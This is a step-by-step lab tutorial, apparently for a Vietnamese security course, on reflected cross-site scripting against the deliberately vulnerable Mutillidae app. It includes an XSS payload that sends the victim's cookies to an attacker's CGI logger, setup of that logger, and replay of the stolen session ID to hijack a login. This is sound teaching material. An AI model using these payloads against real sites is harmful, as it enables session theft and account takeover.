Bài Hướng Dẫn Mutillidae : Lesson 13 - Reflected Cross Site Scripting Injection #1, Man-In-The-Middle Attack

{ Reflected Cross Site Scripting Injection #1, 

Man-In-The-Middle Attack }

---

Section 0. Background Information

• What is Mutillidae?
  • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
• What is Cross Site Scripting?
  • Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications.
  • XSS enables attackers to inject client-side script into Web pages viewed by other users.
  • A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.
  • In Addition, the attacker can send input (e.g., username, password, session ID, etc) which can be later captured by an external script.
   
• What is a Man-In-The-Middle attack?
  • The man-in-the-middle attack take on many forms.  The most common form is active network eavesdropping in which the attacker is able to gain authentication credentials (Username, Password, SESSIONID, Cookies Information, etc).
   
• What is Cookie Manager+?
  • Cookies manager to view, edit and create new cookies. It also shows extra information about cookies, allows edit multiple cookies at once and backup/restore them
   
• Pre-Requisite Lab
  1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora
     • Note: Remote database access has been turned on to provide an additional vulnerability.
  2. BackTrack: Lesson 1: Installing BackTrack 5
     • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
  3. BackTrack: Lesson 9: How To Install Firebug
     • Note: Firebug integrates with Firefox to put a wealth of web development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
  4. BackTrack: Lesson 10: How To Install Cookies Manager+ 1.5.2
     • Note: Cookies manager to view, edit and create new cookies.
• Lab Notes
  • In this lab we will do the following:
    1. Due to a purposely bug in the dns-lookup.php code, we will use Reflected Cross Site Scripting Techniques to test for vulnerabilities.
    2. We will capture UserID and Session Cookie Data.
    3. We will send captured UserID and Session Cookie Data to a remote location.
    4. We will use captured UserID and Session Cookie Data to re-enter the website.

• Legal Disclaimer - bài hướng dẫn học tập

Section 1. Configure Fedora14 Virtual Machine Settings

1. Open Your VMware Player
   • Instructions:
     1. On Your Host Computer, Go To
     2. Start --> All Program --> VMWare --> VMWare Player
2. Edit Fedora Mutillidae Virtual Machine Settings
   • Instructions:
     1. Highlight fedora14
     2. Click Edit virtual machine settings
   • 
3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click the OK Button
• 

Section 2. Login to Fedora14 - Mutillidae

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14 - Mutillidae
     3. Play virtual machine
   • 
2. Login to Fedora14 - Mutillidae
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

Section 3. Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 
2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 
3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes (FYI):
     • As indicated below, my IP address is 192.168.1.111.
     • Please record your IP address.
   • 

Section 4. Configure BackTrack Virtual Machine Settings

1. Edit the BackTrack5R1 VM
   • Instructions:
     1. Select BackTrack5R1 VM
     2. Click Edit virtual machine settings
   • 
2. Edit Virtual Machine Settings
   • Instructions:
     1. Click on Network Adapter
     2. Click on the Bridged Radio button
     3. Click on the OK Button
   • 

Section 5. Play and Login to BackTrack

1. Play the BackTrack5R1 VM
   • Instructions:
     1. Click on the BackTrack5R1 VM
     2. Click on Play virtual machine
   • 
2. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
3. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

Section 6. Open Console Terminal and Retrieve IP Address

1. On BackTrack, Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
2. Obtain the IP Address
   • Instructions:
     1. ifconfig -a
   • Note(FYI):
     • My IP address 192.168.1.112.
     • In your case, it will probably be different.
     • This is the machine that will be use to attack the victim machine (Mutillidae).
   • 

Section 7. Navigate to "DNS Lookup"

1. On BackTrack, Open Firefox
   • Instructions:
     1. Click on the Firefox Icon
   • Notes (FYI):
     • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
   • 
2. Open Mutillidae
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
     2. Click Login/Register
   • 
3. Login
   • Instructions:
     1. Name: samurai
     2. Password: samurai
     3. Click the Login Button
   • Notes(FYI):
     1. We are logging on to Mutillidae to simulate a user logging on to a real application and being granted a Session ID.
   • 

Section 8. Reflected Cross Site Scripting (XSS) Injection #1 - Popup Window

1. DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
   • 
2. Inspect Textbox Element
   • Instructions:
     1. Right Click in Hostname/IP Textbox
     2. Click on Inspect Element
   • 
3. Change Text Box Size
   • Instructions:
     1. After the string "size=", Change 20 to 100. (See Picture)
     2. Click on the Close Button
   • 
4. Test Cross Site Script (XSS) Injection
   • Instructions:
     1. In the Hostname/IP Textbox place the following string
        • <script>alert("Hello")</script>
     2. Click the Lookup DNS Button
   • 
5. View Cross Site Script (XSS) Injection Results
   • Note(FYI):
     1. The fact that we can pop up a JavaScript alert box indicates this webpage is susceptible to Cross Site Script Injections.
   • Instructions:
     1. Click the OK Button
   • 

Section 9. Reflected Cross Site Scripting (XSS) Injection #2 - Popup Cookie

1. DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
   • 
2. Inspect Textbox Element
   • Instructions:
     1. Right Click in Hostname/IP Textbox
     2. Click on Inspect Element
   • 
3. Change Text Box Size
   • Instructions:
     1. After the string "size=", Change 20 to 100. (See Picture)
     2. Click on the Close Button
   • 
4. Test Cross Site Script (XSS) Injection
   • Instructions:
     1. In the Hostname/IP Textbox place the following string
        • <script>alert(document.cookie)</script>
     2. Click the Lookup DNS Button
   • Note(FYI):
     1. The goal here is to determine (1) if this webpage contains a cookie AND (2) if we can display the cookie in a JavaScript alert box.
   • 
    
5. View Cookie
   • Instructions:
     1. Notice the cookie displays the username
     2. Notice the cookie displays the PHP Session ID.
     3. Click the OK Button
   • Notes(FYI):
     1. Imagine if this was a bank website and every time a user logs in their cookie information was sent to a remote location.
   • 

Section 13. Prepare BackTrack CGI Cookie Script

1. On BackTrack, Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
    
2. Start Apache2
   • Instructions:
     1. service apache2 start
     2. service apache2 status
     3. ps -eaf | grep apache2 | grep -v grep
   • Note(FYI):
     1. Start up the apache2 webserver.
     2. Display the status of the apache2 webserver.
     3. See the processes of the apache2 webserver.
   • 
    
3. Make Apache Log Directory
   • Instructions:
     1. mkdir -p /var/www/logdir
     2. chown www-data:www-data /var/www/logdir
     3. chmod 700 /var/www/logdir
     4. ls -ld /var/www/logdir
   • Note(FYI):
     1. Make a directory called logdir inside of /var/www
     2. Set the ownership of logdir to www-data
     3. Set the permission of logdir to where only the apache2 process (owned by www-data) can read, write and execute to this directory.
   • 
4. Configure CGI Cookie Script
   • Instructions:
     1. cd /usr/lib/cgi-bin
     2. wget http://goo.gl/Zb5MZe
     3. mv logit.pl.TXT logit.pl
     4. chown www-data:www-data logit.pl
     5. chmod 700 logit.pl
     6. perl -c logit.pl
   • Note(FYI):
     1. Change directory to /usr/lib/cgi-bin
     2. Use wget to download the CGI Cookie Script
     3. Rename Script
     4. Set ownership of script to www-data, which is the same owner of the apache2 webserver processes.
     5. Set permission to where only the www-data user can read, write and execute the script.
     6. Check the syntax of the CGI Cookie Script (logit.pl)
   • 

Section 14. Reflected Cross Site Scripting (XSS) Injection #2 - Popup Cookie

1. DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
   • 
2. Inspect Textbox Element
   • Instructions:
     1. Right Click in Hostname/IP Textbox
     2. Click on Inspect Element
   • 
3. Change Text Box Size
   • Instructions:
     1. After the string "size=", Change 20 to 100. (See Picture)
     2. Click on the Close Button
   • 
4. Test Cross Site Script (XSS) Injection
   • Note(FYI):
     1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
     2. This JavaScript tells the web browser to send the cookies back to the CGI Cookie Script on the BackTrack Machine.
   • Instructions:
     1. In the Hostname/IP Textbox place the following string
        • <SCRIPT>document.location='http://192.168.1.112/cgi-bin/logit.pl?'+document.cookie</SCRIPT>
     2. Click the Lookup DNS Button
   • 
5. View Cookie Script Results
   • Instructions:
     1. Notice the Mutillidae IP Address and Vulnerable Weblink
     2. Notice the cookie username
     3. Notice the cookie PHP Session ID.
   • Notes(FYI):
     1. Note a malicious person would not actually display the results back to you once you click a button.
     2. Continue to the next step to see where a malicious person might store this data.
   • 
6. View Cookie Script Log File
   • Note(FYI):
     1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
     2. Now we have a running log file of IP Addresses, Cookie usernames, and Session IDs of potential victims.
     3. Pretty scary stuff.  This is why it is necessary for web developers to (1) use encoding and (2) test their site for XSS injection attempts.
   • Instructions:
     1. Place the following URL in the Address Textbox
        • http://192.168.1.112/logdir/log.txt
   • 

Section 16. Simulate Man-In-The-Middle Attack

1. Start Cookies Manager+
   • Notes (FYI):
     • Click here to install Cookie Manager+ you have not already done so.
   • Instructions:
     1. Tools --> Cookies Manager+
   • 
2. Add Cookie Entry
   • Instructions:
     1. Click the Add Button
   • 
3. Add PHPSESSID Cookie Entry
   • Note(FYI):
     1. Replace 6lmbhjodbtnj6o5ajuli7p1s24 with your PHPSESSID See Below Picture).
     2. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Name: PHPSESSID
     2. Content: 6lmbhjodbtnj6o5ajuli7p1s24
     3. Host: 192.168.1.111
     4. Path: /
     5. Click the Save Button.
   • 
4. Add showhints Cookie Entry
   • Note(FYI):
     1. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Click the Add Button
     2. Name: showhints
     3. Content: 0
     4. Host: 192.168.1.111
     5. Path: /mutillidae/
     6. Click the Save Button
   • 
5. Add username Cookie Entry
   • Note(FYI):
     1. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Click the Add Button
     2. Name: username
     3. Content: samurai
     4. Host: 192.168.1.111
     5. Path: /mutillidae/
     6. Select Date
     7. Increase the Date by 1 or 2 days
     8. Click the Save Button
   • 
6. Add uid Cookie Entry
   • Note(FYI):
     1. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Click the Add Button
     2. Name: uid
     3. Content: 6
     4. Host: 192.168.1.111
     5. Path: /mutillidae/
     6. Select Date
     7. Increase the Date by 1 or 2 days
     8. Click the Save Button
     9. Click the Close Button
   • 
7. Close Firefox
   • Note(FYI):
     1. So, lets test our theory and see if we can still get into the website using the username (samurai) and PHP Session ID we captured.
   • Instructions:
     1. File --> Quit
   • 
8. Open Mutillidae
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
     2. Notice samurai is logged in without us clicking Login/Register.
   • 

Section 17. Proof of Lab

1. Proof of Lab, (On a BackTrack Terminal)
   • Instructions:
     1. cat /var/www/logdir/log.txt
     2. date
     3. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
   • Proof of Lab Instructions:
     1. Do a PrtScn
     2. Paste into a word document
     3. Upload to website www.antoanthongtin.edu.vn
   •